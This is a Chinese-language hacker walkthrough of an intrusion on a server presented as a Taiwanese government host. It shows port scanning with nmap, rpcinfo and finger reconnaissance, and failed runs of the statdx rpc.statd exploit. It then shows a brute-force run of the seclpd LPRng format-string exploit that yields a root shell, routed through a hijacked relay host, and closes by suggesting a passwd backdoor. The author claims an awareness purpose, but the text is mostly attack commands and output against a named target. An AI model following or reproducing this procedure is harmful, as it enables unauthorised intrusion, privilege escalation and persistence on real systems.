我写此文的目的不在于教人入侵，而是为了提高自身的技术和加强网络管理员的安全防范意识。仅此而已!粗心大意的网络管理员应该明白：由于你们一个小小的操作失误可能会导致整个网络全面沦陷！本文主要是围绕UNIX下面的一个小小的服务进程(LPD:网络打印服务)的攻击而进行的。
让俺慢慢道来…..
咳…咳…先给我上茶！（什么?! 没有?俺不说了!!）呵呵……开开玩笑,言归正传.首先确定目标,随便找上台湾一个搜索引擎。随便挑一个吧！假设是：www.fbi.gov.tw。^__^
先让俺看看是不是连得上：
C:\ping www.fbi.gov.tw
Pinging www.fbi.gov.tw[202.106.184.200] with 32 bytes of data:
Reply from 202.106.184.200: bytes=32 time=541ms TTL=244
Reply from 202.106.184.200: bytes=32 time=620ms TTL=244
Reply from 202.106.184.200: bytes=32 time=651ms TTL=244
Reply from 202.106.184.200: bytes=32 time=511ms TTL=244
Ping statistics for 202.106.184.200:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 511ms, Maximum = 651ms, Average = 580ms
嘻嘻—不但连得上，速度还不错……
先telnet看看banner：
C:\>telnet www.fbi.gov.tw
遗失对主机的连接。
哈哈……看来把telnet服务给shut掉了！再试试ftp
C:\>ftp www.fbi.gov.tw
Connected to www.fbi.gov.tw.
220 fbi-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready.
User (www.fbi.gov.tw:(none)):
呵~~wu-2.6.1看来有点眉目了。这台机器像是大名鼎鼎的…………对!RedHat7.0！没错就是她了！首先必须确认一下，连上俺的跳板:
C:\>telnet xxx.xxx.xxx.xxx
Red Hat Linux release 7.0 (Guinness)
Kernel 2.2.16-22smp on an i686
login: fetdog
Password:
bash-2.04$
呵呵~~这是我在台湾的一台跳板。RH7的哦！等下我就会告诉你们拿这些肉鸡办法……拿上nmap扫描器，看看其中的奥妙~~~
bash-2.04$nmap -sT -O www.fbi.gov.tw
Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )
WARNING! The following files exist and are readable: /usr/local/sha
-services and ./nmap-services. I am choosing /usr/local/share/nmap/
s for security reasons. set NMAPDIR=. to give priority to files in
irectory
Interesting ports on (www.fbi.gov.tw):
(The 1520 ports scanned but not shown below are in state: closed)
Port State Service
25/tcp open smtp
79/tcp open finger
80/tcp open http
111/tcp open sunrpc
113/tcp open auth
443/tcp open https
513/tcp open login
514/tcp open shell
515/tcp open printer
587/tcp open submission
1024/tcp open kdm
TCP Sequence Prediction: Class=random positive increments
Difficulty=3247917 (Good luck!)
Remote operating system guess: Linux 2.1.122 - 2.2.16
Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds
恰恰！！打开的端口还挺多的嘛！不错……不错……。79/tcp finger？呵呵~先看看这个，不过linux没有finger用户列表这个漏洞，不管它俺先看看有没有倒霉鬼。
bash-2.04$finger @www.fbi.gov.tw
[www.fbi.gov.tw]
No one logged on.
shit！怎么会没人！开门！给我开门！:(……再看看111/tcp sunrpc。嘿嘿……近来rpc漏洞风行，不知道RH7这个东东会不会有？管它呢，先看看再说！
bash-2.04$rpcinfo -p www.fbi.gov.tw
program vers proto port service
100000 2 tcp 111 rpcbind
100000 2 udp 111 rpcbind
100021 1 udp 1024 nlockmgr
100021 3 udp 1024 nlockmgr
100024 1 udp 1025 status
100024 1 tcp 1024 status
看来有rpc.statd服务。等俺来看看能不能远程溢出拿个rootshell。哈哈！这个rpc.statd远程溢出是我在hack.co.za找到的。等俺先来看看帮助。嘻嘻~~
bash-2.04$./statdx -h
statdx by ron1n
Usage: stat [-t] [-p port] [-a addr] [-l len]
[-o offset] [-w num] [-s secs] [-d type]
-t attack a tcp dispatcher [udp]
-p rpc.statd serves requests on [query]
-a the stack address of the buffer is
-l the length of the buffer is [1024]
-o the offset to return to is [600]
-w the number of dwords to wipe is [9]
-s set timeout in seconds to [5]
-d use a hardcoded
Available types:
0 Redhat 6.2 (nfs-utils-0.1.6-2)
1 Redhat 6.1 (knfsd-1.4.7-7)
2 Redhat 6.0 (knfsd-1.2.2-4)
看来并不支持RH7。怎么办？？让俺把0-2全部试试看再说！start……
bash-2.04$stat -d 0 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 (+str/+nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21
哈哈受到挫折，再试……
bash-2.04$stat -d 1 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 (+str/+nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21
一样！继续……
bash-2.04$stat -d 1 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 (+str/+nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21
我烤！！烤烤烤！rpc.statd行不通啊！让我想想看……RH7应该有个远程溢出……好像是lp服务造成的。让俺去找找看。哈哈~~找到了……“seclpd.c”应该是这个东东了。
看来一定要来个brute了！继续……继续……
bash-2.04$./seclpd www.fbi.gov.tw brute -t 0
+++ Security.is remote exploit for LPRng/lpd by DiGiT
+++ Exploit information
+++ Victim: www.fbi.gov.tw
+++ Type: 0 - RedHat 7.0 - Guinesss
+++ Eip address: 0xbffff3ec
+++ Shellcode address: 0xbffff7f2
+++ Position: 300
+++ Alignment: 2
+++ Offset 0
+++ Attacking www.fbi.gov.tw with our format string
+++ Brute force man, relax and enjoy the ride ;>
哈哈~~brute暴力破解。看你出不出shell！现在要等上一会儿……去泡杯coffee慢慢来。（什么！没coffee？tea！这个也行！）…………过了大约一杯coffee的时间。也就是5-8分钟左右，就会有结果了。（什么！什么！5-8分钟你喝了5杯！我倒~~~）……出来了。哈哈~~
- [+] shell located on www.fbi.gov.tw
- [+] Enter Commands at will
Linux FBI.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown
uid=0(root) gid=7(lp)
Well……哈哈~uid=0(root)哇哈哈哈哈…………先在你是root啦！可以为所欲为了~~把它的东西全部删了~~哈哈……太过火了~~还是在passwd中加个后门算了~~至于怎么加，这就不在本文的范围内了……^___^
Good Luck………………
Written By GoGo from H.L.C
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